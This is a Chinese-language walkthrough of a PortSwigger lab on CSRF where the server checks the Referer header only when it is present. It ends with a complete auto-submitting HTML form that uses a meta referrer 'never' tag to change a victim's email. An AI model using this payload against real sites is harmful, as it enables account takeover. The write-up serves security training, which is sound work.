从业者-CSRF-Referer验证取决于标头是否存在
# 实验室:CSRF-Referer验证取决于标头是否存在
# 题目
此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。它试图阻止跨域请求,但具有一个不安全的回退。
若要解决实验室问题,请使用漏洞利用服务器托管一个 HTML 页面,该页面使用 CSRF 攻击来更改查看者的电子邮件地址。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
- name: 实验室-从业者
desc: CSRF-Referer验证取决于标头是否存在 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-depends-on-header-being-present
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。
登录后,在账户页面中可以看到一个邮箱更改功能,输入一个新邮箱,点击 “Update email” 并捕获请求数据包。
捕获的请求数据包如下。
使用该数据包生成一个 PoC,并保存至漏洞利用服务器。
自己测试一遍 PoC,由于Referer
标头携带的是漏洞利用服务器的地址,所以请求失败。
将请求转到 Repeater 功能模块,只要提供了错误的Referer
标头值,都会拒绝请求。
删除整个Referer
标头,请求成功。
说明当不存在Referer
标头时,服务端就不会验证 Referer 参数值。
修改一下之前的 PoC,添加meta
标签,使请求不携带Referer
标头:
<meta name="referrer" content="never">
1
完整:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<meta name="referrer" content="never">
<form action="https://<受攻击的域>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="j@k.l" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2
3
4
5
6
7
8
9
10
11
12
13
14
15
别忘了修改 PoC 中的邮件地址,防止冲突。
将以上 PoC 保存至漏洞利用服务器上,然后发送给受害用户。
载荷正确,成功更改了受害用户的邮箱地址。
实验完成。
编辑 (opens new window)